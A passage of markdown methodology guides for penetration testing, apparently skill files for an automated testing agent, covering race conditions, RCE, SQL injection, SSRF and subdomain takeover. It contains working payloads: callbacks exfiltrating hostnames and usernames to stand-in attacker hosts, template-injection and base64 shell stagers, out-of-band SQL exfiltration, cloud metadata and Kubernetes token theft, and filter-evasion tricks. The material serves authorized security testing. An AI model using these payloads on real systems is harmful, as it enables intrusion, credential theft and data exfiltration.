Quotas\n\n- Per-IP or per-connection enforcement: bypass with multiple IPs/sessions\n- Counter updates not atomic or sharded inconsistently; send bursts before counters propagate\n\n### Optimistic Concurrency Evasion\n\n- Omit If-Match/ETag where optional; supply stale versions if server ignores them\n- Version fields accepted but not validated across all code paths (e.g., GraphQL vs REST)\n\n### Database Isolation\n\n- Exploit READ COMMITTED/REPEATABLE READ anomalies: phantoms, non-serializable sequences\n- Upsert races: use unique indexes with proper ON CONFLICT/UPSERT or exploit naive existence checks\n- Lock granularity issues: row vs table; application locks held only in-process\n\n### Distributed Locks\n\n- Redis locks without NX/EX or fencing tokens allow multiple winners\n- Locks stored in memory on a single node; bypass by hitting other nodes/regions\n\n## Bypass Techniques\n\n- Distribute across IPs, sessions, and user accounts to evade per-entity throttles\n- Switch methods/content-types/endpoints that trigger the same state change via different code paths\n- Intentionally trigger timeouts to provoke retries that cause duplicate side effects\n- Degrade the target (large payloads, slow endpoints) to widen race windows\n\n## Special Contexts\n\n### GraphQL\n\n- Parallel mutations and batched operations may bypass per-mutation guards\n- Ensure resolver-level idempotency and atomicity\n- Persisted queries and aliases can hide multiple state changes in one request\n\n### WebSocket\n\n- Per-message authorization and idempotency must hold\n- Concurrent emits can create duplicates if only the handshake is checked\n\n### Files and Storage\n\n- Parallel finalize/complete on multi-part uploads can create duplicate or corrupted objects\n- Re-use pre-signed URLs concurrently\n\n### Auth Flows\n\n- Concurrent consumption of one-time tokens (reset codes, magic links) to mint multiple sessions\n- Verify consume is atomic\n\n## Chaining Attacks\n\n- Race + Business logic: violate invariants (double-refund, limit slicing)\n- Race + IDOR: modify or read others' resources before ownership checks complete\n- Race + CSRF: trigger parallel actions from a victim to amplify effects\n- Race + Caching: stale caches re-serve privileged states after concurrent changes\n\n## Testing Methodology\n\n1. **Model invariants** - Conservation of value, uniqueness, maximums for each workflow\n2. **Identify reads/writes** - Where they occur (service, DB, cache)\n3. **Baseline** - Single requests to establish expected behavior\n4. **Concurrent requests** - Issue parallel requests with identical inputs; observe deltas\n5. **Scale and synchronize** - Ramp up parallelism, use HTTP/2, align timing (last-byte sync)\n6. **Cross-channel** - Test across web, API, GraphQL, WebSocket\n7. **Confirm durability** - Verify state changes persist and are reproducible\n\n## Validation\n\n1. Single request denied; N concurrent requests succeed where only 1 should\n2. Durable state change proven (ledger entries, inventory counts, role/flag changes)\n3. Reproducible under controlled synchronization (HTTP/2, last-byte sync) across multiple runs\n4. Evidence across channels (e.g., REST and GraphQL) if applicable\n5. Include before/after state and exact request set used\n\n## False Positives\n\n- Truly idempotent operations with enforced ETag/version checks or unique constraints\n- Serializable transactions or correct advisory locks/queues\n- Visual-only glitches without durable state change\n- Rate limits that reject excess with atomic counters\n\n## Impact\n\n- Financial loss (double spend, over-issuance of credits/refunds)\n- Policy/limit bypass (quotas, single-use tokens, seat counts)\n- Data integrity corruption and audit trail inconsistencies\n- Privilege or role errors due to concurrent updates\n\n## Pro Tips\n\n1. Favor HTTP/2 with warmed connections; add last-byte sync for precision\n2. Start small (N=5–20), then scale; too much noise can mask the window\n3. Target read–modify–write code paths and endpoints with idempotency keys\n4. Compare REST vs GraphQL vs WebSocket; protections often differ\n5. Look for cross-service gaps (queues, jobs, webhooks) and retry semantics\n6. Check unique constraints and upsert usage; avoid relying on pre-insert checks\n7. Use correlation IDs and logs to prove concurrent interleaving\n8. Widen windows by adding server load or slow backend dependencies\n9. Validate on production-like latency; some races only appear under real load\n10. Document minimal, repeatable request sets that demonstrate durable impact\n\n## Summary\n\nConcurrency safety is a property of every path that mutates state. If any path lacks atomicity, proper isolation, or idempotency, parallel requests will eventually break invariants.\n"
  },
  {
    "path": "strix/skills/vulnerabilities/rce.md",
    "content": "---\nname: rce\ndescription: RCE testing covering command injection, deserialization, template injection, and code evaluation\n---\n\n# RCE\n\nRemote code execution leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.\n\n## Attack Surface\n\n**Command Execution**\n- OS command execution via wrappers (shells, system utilities, CLIs)\n\n**Dynamic Evaluation**\n- Template engines, expression languages, eval/vm\n\n**Deserialization**\n- Insecure deserialization and gadget chains across languages\n\n**Media Pipelines**\n- ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg\n\n**SSRF Chains**\n- Internal services exposing execution primitives (FastCGI, Redis)\n\n**Container Escalation**\n- App RCE to node/cluster compromise via Docker/Kubernetes\n\n## Detection Channels\n\n### Time-Based\n\n**Unix**\n- `;sleep 1`, `` `sleep 1` ``, `|| sleep 1`\n- Gate delays with short subcommands to reduce noise\n\n**Windows**\n- CMD: `& timeout /t 2 &`, `ping -n 2 127.0.0.1`\n- PowerShell: `Start-Sleep -s 2`\n\n### OAST\n\n**DNS**\n```bash\nnslookup $(whoami).x.attacker.tld\n```\n\n**HTTP**\n```bash\ncurl https://attacker.tld/$(hostname)\n```\n\n### Output-Based\n\n**Direct**\n```bash\n;id;uname -a;whoami\n```\n\n**Encoded**\n```bash\n;(id;hostname)|base64\n```\n\n## Key Vulnerabilities\n\n### Command Injection\n\n**Delimiters and Operators**\n- Unix: `; | || & && `cmd` $(cmd) $() ${IFS}` newline/tab\n- Windows: `& | || ^`\n\n**Argument Injection**\n- Inject flags/filenames into CLI arguments (e.g., `--output=/tmp/x`, `--config=`)\n- Break out of quoted segments by alternating quotes and escapes\n- Environment expansion: `$PATH`, `${HOME}`, command substitution\n- Windows: `%TEMP%`, `!VAR!`, PowerShell `$(...)`\n\n**Path and Builtin Confusion**\n- Force absolute paths (`/usr/bin/id`) vs relying on PATH\n- Use builtins or alternative tools (`printf`, `getent`) when `id` is filtered\n- Use `sh -c` or `cmd /c` wrappers to reach the shell\n\n**Evasion**\n- Whitespace/IFS: `${IFS}`, `$'\\t'`, `<`\n- Token splitting: `w'h'o'a'm'i`, `w\"h\"o\"a\"m\"i`\n- Variable building: `a=i;b=d; $a$b`\n- Base64 stagers: `echo payload | base64 -d | sh`\n- PowerShell: `IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))`\n\n### Template Injection\n\nIdentify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug\n\n**Minimal Probes**\n```\nJinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}\nTwig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}\nFreemarker: ${7*7} → <#assign ex=\"freemarker.template.utility.Execute\"?new()>${ ex(\"id\") }\nEJS: <%= global.process.mainModule.require('child_process').execSync('id') %>\n```\n\n### Deserialization and EL\n\n**Java**\n- Gadget chains via CommonsCollections/BeanUtils/Spring\n- Tools: ysoserial\n- JNDI/LDAP chains (Log4Shell-style) when lookups are reachable\n\n**.NET**\n- BinaryFormatter/DataContractSerializer\n- APIs accepting untrusted ViewState without MAC\n\n**PHP**\n- `unserialize()` and PHAR metadata\n- Autoloaded gadget chains in frameworks and plugins\n\n**Python/Ruby**\n- pickle, `yaml.load`/`unsafe_load`, Marshal\n- Auto-deserialization in message queues/caches\n\n**Expression Languages**\n- OGNL/SpEL/MVEL/EL reaching Runtime/ProcessBuilder/exec\n\n### Media and Document Pipelines\n\n**ImageMagick/GraphicsMagick**\n- policy.xml may limit delegates; still test legacy vectors\n```\npush graphic-context\nfill 'url(https://x.tld/a\"|id>/tmp/o\")'\npop graphic-context\n```\n\n**Ghostscript**\n- PostScript in PDFs/PS: `%pipe%id` file operators\n\n**ExifTool**\n- Crafted metadata invoking external tools or library bugs\n\n**LaTeX**\n- `\\write18`/`--shell-escape`, `\\input` piping; pandoc filters\n\n**ffmpeg**\n- concat/protocol tricks mediated by compile-time flags\n\n### SSRF to RCE\n\n**FastCGI**\n- `gopher://` to php-fpm (build FPM records to invoke system/exec)\n\n**Redis**\n- `gopher://` write cron/authorized_keys or webroot\n- Module load when allowed\n\n**Admin Interfaces**\n- Jenkins script console, Spark UI, Jupyter kernels reachable internally\n\n### Container and Kubernetes\n\n**Docker**\n- From app RCE, inspect `/.dockerenv`, `/proc/1/cgroup`\n- Enumerate mounts and capabilities: `capsh --print`\n- Abuses: mounted docker.sock, hostPath mounts, privileged containers\n- Write to `/proc/sys/kernel/core_pattern` or mount host with `--privileged`\n\n**Kubernetes**\n- Steal service account token from `/var/run/secrets/kubernetes.io/serviceaccount`\n- Query API for pods/secrets; enumerate RBAC\n- Talk to kubelet on 10250/10255; exec into pods\n- Escalate via privileged pods, hostPath mounts, or daemonsets\n\n## Bypass Techniques\n\n**Encoding Differentials**\n- URL encoding, Unicode normalization, comment insertion, mixed case\n- Request smuggling to reach alternate parsers\n\n**Binary Alternatives**\n- Absolute paths and alternate binaries (busybox, sh, env)\n- Windows variations (PowerShell vs CMD)\n- Constrained language bypasses\n\n## Post-Exploitation\n\n**Privilege Escalation**\n- `sudo -l`; SUID binaries; capabilities (`getcap -r / 2>/dev/null`)\n\n**Persistence**\n- cron/systemd/user services; web shell behind auth\n- Plugin hooks; supply chain in CI/CD\n\n**Lateral Movement**\n- SSH keys, cloud metadata credentials, internal service tokens\n\n## Testing Methodology\n\n1. **Identify sinks** - Command wrappers, template rendering, deserialization, file converters, report generators, plugin hooks\n2. **Establish oracle** - Timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag)\n3. **Confirm context** - User, working directory, PATH, shell, SELinux/AppArmor, containerization\n4. **Map boundaries** - Read/write locations, outbound egress\n5. **Progress to control** - File write, scheduled execution, service restart hooks\n\n## Validation\n\n1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution\n2. Show command context (uid, gid, cwd, env) and controlled output\n3. Demonstrate persistence or file write under application constraints\n4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed\n5. Keep PoCs minimal and reproducible across runs and transports\n\n## False Positives\n\n- Only crashes or timeouts without controlled behavior\n- Filtered execution of a limited command subset with no attacker-controlled args\n- Sandboxed interpreters executing in a restricted VM with no IO or process spawn\n- Simulated outputs not derived from executed commands\n\n## Impact\n\n- Remote system control under application user; potential privilege escalation to root\n- Data theft, encryption/signing key compromise, supply-chain insertion, lateral movement\n- Cluster compromise when combined with container/Kubernetes misconfigurations\n\n## Pro Tips\n\n1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise\n2. When command injection is weak, pivot to file write or deserialization/SSTI paths\n3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates\n4. For Java/.NET, enumerate classpaths/assemblies and known gadgets; verify with out-of-band payloads\n5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps\n6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies\n7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops\n\n## Summary\n\nRCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.\n"
  },
  {
    "path": "strix/skills/vulnerabilities/sql_injection.md",
    "content": "---\nname: sql-injection\ndescription: SQL injection testing covering union, blind, error-based, and ORM bypass techniques\n---\n\n# SQL Injection\n\nSQLi remains one of the most durable and impactful vulnerability classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.\n\n## Attack Surface\n\n**Databases**\n- Classic relational: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle\n- Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins\n\n**Integration Paths**\n- ORMs, query builders, stored procedures\n- Search servers, reporting/exporters\n\n**Input Locations**\n- Path/query/body/header/cookie\n- Mixed encodings (URL, JSON, XML, multipart)\n- Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)\n- Query builders: `whereRaw`/`orderByRaw`, string templates in ORMs\n- JSON coercion or array containment operators\n- Batch/bulk endpoints and report generators that embed filters directly\n\n## Detection Channels\n\n**Error-Based**\n- Provoke type/constraint/parser errors revealing stack/version/paths\n\n**Boolean-Based**\n- Pair requests differing only in predicate truth\n- Diff status/body/length/ETag\n\n**Time-Based**\n- `SLEEP`/`pg_sleep`/`WAITFOR`\n- Use subselect gating to avoid global latency noise\n\n**Out-of-Band (OAST)**\n- DNS/HTTP callbacks via DB-specific primitives\n\n## DBMS Primitives\n\n### MySQL\n\n- Version/user/db: `@@version`, `database()`, `user()`, `current_user()`\n- Error-based: `extractvalue()`/`updatexml()` (older), JSON functions for error shaping\n- File IO: `LOAD_FILE()`, `SELECT ... INTO DUMPFILE/OUTFILE` (requires FILE privilege, secure_file_priv)\n- OOB/DNS: `LOAD_FILE(CONCAT('\\\\\\\\',database(),'.attacker.com\\\\a'))`\n- Time: `SLEEP(n)`, `BENCHMARK`\n- JSON: `JSON_EXTRACT`/`JSON_SEARCH` with crafted paths; GIS funcs sometimes leak\n\n### PostgreSQL\n\n- Version/user/db: `version()`, `current_user`, `current_database()`\n- Error-based: raise exception via unsupported casts or division by zero; `xpath()` errors in xml2\n- OOB: `COPY (program ...)` or dblink/foreign data wrappers (when enabled); http extensions\n- Time: `pg_sleep(n)`\n- Files: `COPY table TO/FROM '/path'` (requires superuser), `lo_import`/`lo_export`\n- JSON/JSONB: operators `->`, `->>`, `@>`, `?|` with lateral/CTE for blind extraction\n\n### MSSQL\n\n- Version/db/user: `@@version`, `db_name()`, `system_user`, `user_name()`\n- OOB/DNS: `xp_dirtree`, `xp_fileexist`; HTTP via OLE automation (`sp_OACreate`) if enabled\n- Exec: `xp_cmdshell` (often disabled), `OPENROWSET`/`OPENDATASOURCE`\n- Time: `WAITFOR DELAY '0:0:5'`; heavy functions cause measurable delays\n- Error-based: convert/parse, divide by zero, `FOR XML PATH` leaks\n\n### Oracle\n\n- Version/db/user: banner from `v$version`, `ora_database_name`, `user`\n- OOB: `UTL_HTTP`/`DBMS_LDAP`/`UTL_INADDR`/`HTTPURITYPE` (permissions dependent)\n- Time: `dbms_lock.sleep(n)`\n- Error-based: `to_number`/`to_date` conversions, `XMLType`\n- File: `UTL_FILE` with directory objects (privileged)\n\n## Key Vulnerabilities\n\n### UNION-Based Extraction\n\n- Determine column count and types via `ORDER BY n` and `UNION SELECT null,...`\n- Align types with `CAST`/`CONVERT`; coerce to text/json for rendering\n- When UNION is filtered, switch to error-based or blind channels\n\n### Blind Extraction\n\n- Branch on single-bit predicates using `SUBSTRING`/`ASCII`, `LEFT`/`RIGHT`, or JSON/array operators\n- Binary search on character space for fewer requests\n- Encode outputs (hex/base64) to normalize\n- Gate delays inside subqueries to reduce noise: `AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)`\n\n### Out-of-Band\n\n- Prefer OAST to minimize noise and bypass strict response paths\n- Embed data in DNS labels or HTTP query params\n- MSSQL: `xp_dirtree \\\\\\\\<data>.attacker.tld\\\\a`\n- Oracle: `UTL_HTTP.REQUEST('http://<data>.attacker')`\n- MySQL: `LOAD_FILE` with UNC path\n\n### Write Primitives\n\n- Auth bypass: inject OR-based tautologies or subselects into login checks\n- Privilege changes: update role/plan/feature flags when UPDATE is injectable\n- File write: `INTO OUTFILE`/`DUMPFILE`, `COPY TO`, `xp_cmdshell` redirection\n- Job/proc abuse: schedule tasks or create procedures/functions when permissions allow\n\n### ORM and Query Builders\n\n- Dangerous APIs: `whereRaw`/`orderByRaw`, string interpolation into LIKE/IN/ORDER clauses\n- Injections via identifier quoting (table/column names) when user input is interpolated into identifiers\n- JSON containment operators exposed by ORMs (e.g., `@>` in PostgreSQL) with raw fragments\n- Parameter mismatch: partial parameterization where operators or lists remain unbound (`IN (...)`)\n\n### Uncommon Contexts\n\n- ORDER BY/GROUP BY/HAVING with `CASE WHEN` for boolean channels\n- LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape\n- Full-text/search helpers: `MATCH AGAINST`, `to_tsvector`/`to_tsquery` with payload mixing\n- XML/JSON functions: error generation via malformed documents/paths\n\n## Bypass Techniques\n\n**Whitespace/Spacing**\n- `/**/`, `/**/!00000`, comments, newlines, tabs\n- `0xe3 0x80 0x80` (ideographic space)\n\n**Keyword Splitting**\n- `UN/**/ION`, `U%4eION`, backticks/quotes, case folding\n\n**Numeric Tricks**\n- Scientific notation, signed/unsigned, hex (`0x61646d696e`)\n\n**Encodings**\n- Double URL encoding, mixed Unicode normalizations (NFKC/NFD)\n- `char()`/`CONCAT_ws` to build tokens\n\n**Clause Relocation**\n- Subselects, derived tables, CTEs (`WITH`), lateral joins to hide payload shape\n\n## Testing Methodology\n\n1. **Identify query shape** - SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET\n2. **Determine input influence** - User input in identifiers vs values\n3. **Confirm injection class** - Reflective errors, boolean diffs, timing, or out-of-band callbacks\n4. **Choose quietest oracle** - Prefer error-based or boolean over noisy time-based\n5. **Establish extraction channel** - UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS\n6. **Pivot to metadata** - version, current user, database name\n7. **Target high-value tables** - auth bypass, role changes, filesystem access if feasible\n\n## Validation\n\n1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates\n2. Extract verifiable metadata (version, current user, database name) using the established channel\n3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope\n4. Provide reproducible requests that differ only in the injected fragment\n5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant)\n\n## False Positives\n\n- Generic errors unrelated to SQL parsing or constraints\n- Static response sizes due to templating rather than predicate truth\n- Artificial delays from network/CPU unrelated to injected function calls\n- Parameterized queries with no string concatenation, verified by code review\n\n## Impact\n\n- Direct data exfiltration and privacy/regulatory exposure\n- Authentication and authorization bypass via manipulated predicates\n- Server-side file access or command execution (platform/privilege dependent)\n- Persistent supply-chain impact via modified data, jobs, or procedures\n\n## Pro Tips\n\n1. Pick the quietest reliable oracle first; avoid noisy long sleeps\n2. Normalize responses (length/ETag/digest) to reduce variance when diffing\n3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise\n4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available\n5. Treat ORMs as thin wrappers: raw fragments often slip through; audit `whereRaw`/`orderByRaw`\n6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly\n7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels\n8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types\n9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly\n10. Document exact query shapes; defenses must match how the query is constructed, not assumptions\n\n## Summary\n\nModern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.\n"
  },
  {
    "path": "strix/skills/vulnerabilities/ssrf.md",
    "content": "---\nname: ssrf\ndescription: SSRF testing for cloud metadata access, internal service discovery, and protocol smuggling\n---\n\n# SSRF\n\nServer-Side Request Forgery enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE.\n\n## Attack Surface\n\n**Scope**\n- Outbound HTTP/HTTPS fetchers (proxies, previewers, importers, webhook testers)\n- Non-HTTP protocols via URL handlers (gopher, dict, file, ftp, smb wrappers)\n- Service-to-service hops through gateways and sidecars (envoy/nginx)\n- Cloud and platform metadata endpoints, instance services, and control planes\n\n**Direct URL Params**\n- `url=`, `link=`, `fetch=`, `src=`, `webhook=`, `avatar=`, `image=`\n\n**Indirect Sources**\n- Open Graph/link previews, PDF/image renderers\n- Server-side analytics (Referer trackers), import/export jobs\n- Webhooks/callback verifiers\n\n**Protocol-Translating Services**\n- PDF via wkhtmltopdf/Chrome headless, image pipelines\n- Document parsers, SSO validators, archive expanders\n\n**Less Obvious**\n- GraphQL resolvers that fetch by URL\n- Background crawlers, repository/package managers (git, npm, pip)\n- Calendar (ICS) fetchers\n\n## High-Value Targets\n\n### AWS\n\n- IMDSv1: `http://169.254.169.254/latest/meta-data/` → `/iam/security-credentials/{role}`, `/user-data`\n- IMDSv2: requires token via PUT `/latest/api/token` with header `X-aws-ec2-metadata-token-ttl-seconds`, then include `X-aws-ec2-metadata-token` on subsequent GETs\n- If sink cannot set headers or methods, seek intermediaries that can\n- ECS/EKS task credentials: `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`\n\n### GCP\n\n- Endpoint: `http://metadata.google.internal/computeMetadata/v1/`\n- Required header: `Metadata-Flavor: Google`\n- Target: `/instance/service-accounts/default/token`\n\n### Azure\n\n- Endpoint: `http://169.254.169.254/metadata/instance?api-version=2021-02-01`\n- Required header: `Metadata: true`\n- MSI OAuth: `/metadata/identity/oauth2/token`\n\n### Kubernetes\n\n- Kubelet: 10250 (authenticated) and 10255 (deprecated read-only)\n- Probe `/pods`, `/metrics`, exec/attach endpoints\n- API server: `https://kubernetes.default.svc/`\n- Authorization often needs service account token; SSRF that propagates headers/cookies may reuse them\n- Service discovery: attempt cluster DNS names (`svc.cluster.local`) and default services (kube-dns, metrics-server)\n\n### Internal Services\n\n- Docker API: `http://localhost:2375/v1.24/containers/json` (no TLS variants often internal-only)\n- Redis/Memcached: `dict://localhost:11211/stat`, gopher payloads to Redis on 6379\n- Elasticsearch/OpenSearch: `http://localhost:9200/_cat/indices`\n- Message brokers/admin UIs: RabbitMQ, Kafka REST, Celery/Flower, Jenkins crumb APIs\n- FastCGI/PHP-FPM: `gopher://localhost:9000/` (craft records for file write/exec when app routes to FPM)\n\n## Key Vulnerabilities\n\n### Protocol Exploitation\n\n**Gopher**\n- Speak raw text protocols (Redis/SMTP/IMAP/HTTP/FCGI)\n- Use to craft multi-line payloads, schedule cron via Redis, or build FastCGI requests\n\n**File and Wrappers**\n- `file:///etc/passwd`, `file:///proc/self/environ` when libraries allow file handlers\n- `jar:`, `netdoc:`, `smb://` and language-specific wrappers (`php://`, `expect://`) where enabled\n\n### Address Variants\n\n- Loopback: `127.0.0.1`, `127.1`, `2130706433`, `0x7f000001`, `::1`, `[::ffff:127.0.0.1]`\n- RFC1918/link-local: 10/8, 172.16/12, 192.168/16, 169.254/16\n- Test IPv6-mapped and mixed-notation forms\n\n### URL Confusion\n\n- Userinfo and fragments: `http://internal@attacker/` or `http://attacker#@internal/`\n- Scheme-less/relative forms the server might complete internally: `//169.254.169.254/`\n- Trailing dots and mixed case: `internal.` vs `INTERNAL`, Unicode dot lookalikes\n\n### Redirect Abuse\n\n- Allowlist only applied pre-redirect: 302 from attacker → internal host\n- Test multi-hop and protocol switches (http→file/gopher via custom clients)\n\n### Header and Method Control\n\n- Some sinks reflect or allow CRLF-injection into the request line/headers\n- If arbitrary headers/methods are possible, IMDSv2, GCP, and Azure become reachable\n\n## Bypass Techniques\n\n**Address Encoding**\n- Decimal, hex, octal representations of IP addresses\n- IPv6 variants, IPv4-mapped IPv6, mixed notation\n\n**DNS Rebinding**\n- First resolution returns allowed IP, second returns internal target\n- Use short TTL DNS records under attacker control\n\n**URL Parser Differentials**\n- Different parsing between allowlist checker and actual fetcher\n- Exploit inconsistencies in scheme, host, port, path handling\n\n**Redirect Chains**\n- Initial URL passes allowlist, redirect targets internal host\n- Protocol downgrade/upgrade through redirects\n\n## Blind SSRF\n\n- Use OAST (DNS/HTTP) to confirm egress\n- Derive internal reachability from timing, response size, TLS errors, and ETag differences\n- Build a port map by binary searching timeouts (short connect/read timeouts yield cleaner diffs)\n\n## Chaining Attacks\n\n- SSRF → Metadata creds → cloud API access (list buckets, read secrets)\n- SSRF → Redis/FCGI/Docker → file write/command execution → shell\n- SSRF → Kubelet/API → pod list/logs → token/secret discovery → lateral movement\n\n## Testing Methodology\n\n1. **Identify surfaces** - Every user-influenced URL/host/path across web/mobile/API and background jobs\n2. **Establish oracle** - Quiet OAST DNS/HTTP callbacks first\n3. **Internal addressing** - Pivot to loopback, RFC1918, link-local, IPv6, hostnames\n4. **Protocol variations** - Test gopher, file, dict where supported\n5. **Parser differentials** - Test across frameworks, CDNs, and language libraries\n6. **Redirect behavior** - Single-hop, multi-hop, protocol switches\n7. **Header/method control** - Can you influence request headers or HTTP method?\n8. **High-value targets** - Metadata, kubelet, Redis, FastCGI, Docker, Vault, internal admin panels\n\n## Validation\n\n1. Prove an outbound server-initiated request occurred (OAST interaction or internal-only response differences)\n2. Show access to non-public resources (metadata, internal admin, service ports) from the vulnerable service\n3. Where possible, demonstrate minimal-impact credential access (short-lived token) or a harmless internal data read\n4. Confirm reproducibility and document request parameters that control scheme/host/headers/method and redirect behavior\n\n## False Positives\n\n- Client-side fetches only (no server request)\n- Strict allowlists with DNS pinning and no redirect following\n- SSRF simulators/mocks returning canned responses without real egress\n- Blocked egress confirmed by uniform errors across all targets and protocols\n\n## Impact\n\n- Cloud credential disclosure with subsequent control-plane/API access\n- Access to internal control panels and data stores not exposed publicly\n- Lateral movement into Kubernetes, service meshes, and CI/CD\n- RCE via protocol abuse (FCGI, Redis), Docker daemon access, or scriptable admin interfaces\n\n## Pro Tips\n\n1. Prefer OAST callbacks first; then iterate on internal addressing and protocols\n2. Test IPv6 and mixed-notation addresses; filters often ignore them\n3. Observe library/client differences (curl, Java HttpClient, Node, Go); behavior changes across services and jobs\n4. Redirects are leverage: control both the initial allowlisted host and the next hop\n5. Metadata endpoints require headers/methods; verify if your sink can set them or if intermediaries add them\n6. Use tiny payloads and tight timeouts to map ports with minimal noise\n7. When responses are masked, diff length/ETag/status and TLS error classes to infer reachability\n8. Chain quickly to durable impact (short-lived tokens, harmless internal reads) and stop there\n\n## Summary\n\nAny feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them.\n"
  },
  {
    "path": "strix/skills/vulnerabilities/subdomain_takeover.md",
    "content": "---\nname: subdomain-takeover\ndescription: Subdomain takeover testing for dangling DNS records and unclaimed cloud resources\n---\n\n# Subdomain Takeover\n\nSubdomain takeover lets an attacker serve content from a trusted subdomain by claiming resources referenced by dangling DNS (CNAME/A/ALIAS/NS) or mis-bound provider configurations. Consequences include phishing on a trusted origin, cookie and CORS pivot, OAuth redirect abuse, and CDN cache poisoning.\n\n## Attack Surface\n\n- Dangling CNAME/A/ALIAS to third-party services (hosting, storage, serverless, CDN)\n- Orphaned NS delegations (child zones with abandoned/expired nameservers)\n- Decommissioned SaaS integrations (support, docs, marketing, forms) referenced via CNAME\n- CDN \"alternate domain\" mappings (CloudFront/Fastly/Azure CDN) lacking ownership verification\n- Storage and static hosting endpoints (S3/Blob/GCS buckets, GitHub/GitLab Pages)\n\n## Reconnaissance\n\n### Enumeration Pipeline\n\n- Subdomain inventory: combine CT (crt.sh APIs), passive DNS sources, in-house asset lists, IaC/terraform outputs\n- Resolver sweep: use IPv4/IPv6-aware resolvers; track NXDOMAIN vs SERVFAIL vs provider-branded 4xx/5xx\n- Record graph: build a CNAME graph and collapse chains to identify external endpoints\n\n### DNS Indicators\n\n- CNAME targets ending in provider domains: `github.io`, `amazonaws.com`, `cloudfront.net`, `azurewebsites.net`, `blob.core.windows.net`, `fastly.net`, `vercel.app`, `netlify.app`, `herokudns.com`, `trafficmanager.net`, `azureedge.net`, `akamaized.net`\n- Orphaned NS: subzone delegated to nameservers on a domain that has expired or no longer hosts authoritative servers\n- MX to third-party mail providers with decommissioned domains\n- TXT/verification artifacts (`asuid`, `_dnsauth`, `_github-pages-challenge`) suggesting previous external bindings\n\n### HTTP Fingerprints\n\nService-specific unclaimed messages (examples):\n- **GitHub Pages**: \"There isn't a GitHub Pages site here.\"\n- **Fastly**: \"Fastly error: unknown domain\"\n- **Heroku**: \"No such app\" or \"There's nothing here, yet.\"\n- **S3 static site**: \"NoSuchBucket\" / \"The specified bucket does not exist\"\n- **CloudFront**: 403/400 with \"The request could not be satisfied\"\n- **Azure App Service**: default 404 for azurewebsites.net unless custom-domain verified\n- **Shopify**: \"Sorry, this shop is currently unavailable\"\n\nTLS clues: certificate CN/SAN referencing provider default host instead of the custom subdomain\n\n## Key Vulnerabilities\n\n### Claim Third-Party Resource\n\n- Create the resource with the exact required name:\n  - Storage/hosting: S3 bucket \"sub.example.com\" (website endpoint)\n  - Pages hosting: create repo/site and add the custom domain\n  - Serverless/app hosting: create app/site matching the target hostname\n\n### CDN Alternate Domains\n\n- Add the victim subdomain as an alternate domain on your CDN distribution if the provider does not enforce domain ownership checks\n- Upload a TLS cert or use managed cert issuance\n\n### NS Delegation Takeover\n\n- If a child zone is delegated to nameservers under an expired domain, register that domain and host authoritative NS\n- Publish records to control all hosts under the delegated subzone\n\n### Mail Surface\n\n- If MX points to a decommissioned provider, takeover could enable email receipt for that subdomain\n\n## Advanced Techniques\n\n### Blind and Cache Channels\n\n- CDN edge behavior: 404/421 vs 403 differentials reveal whether an alt name is partially configured\n- Cache poisoning: once taken over, exploit cache keys to persist malicious responses\n\n### CT and TLS\n\n- Use CT logs to detect unexpected certificate issuance for your subdomain\n- For PoC, issue a DV cert post-takeover (within scope) to produce verifiable evidence\n\n### OAuth and Trust Chains\n\n- If the subdomain is whitelisted as an OAuth redirect/callback or in CSP/script-src, takeover elevates to account takeover or script injection\n\n### Verification Gaps\n\n- Look for providers that accept domain binding prior to TXT verification\n- Race windows: re-claim resource names immediately after victim deletion\n\n### Wildcards and Fallbacks\n\n- Wildcard CNAMEs to providers may expose unbounded subdomains\n- Fallback origins: CDNs configured with multiple origins may expose unknown-domain responses\n\n## Special Contexts\n\n### Storage and Static\n\n- S3/GCS/Azure Blob static sites: bucket naming constraints dictate whether a bucket can match hostname\n- Website vs API endpoints differ in claimability and fingerprints\n\n### Serverless and Hosting\n\n- 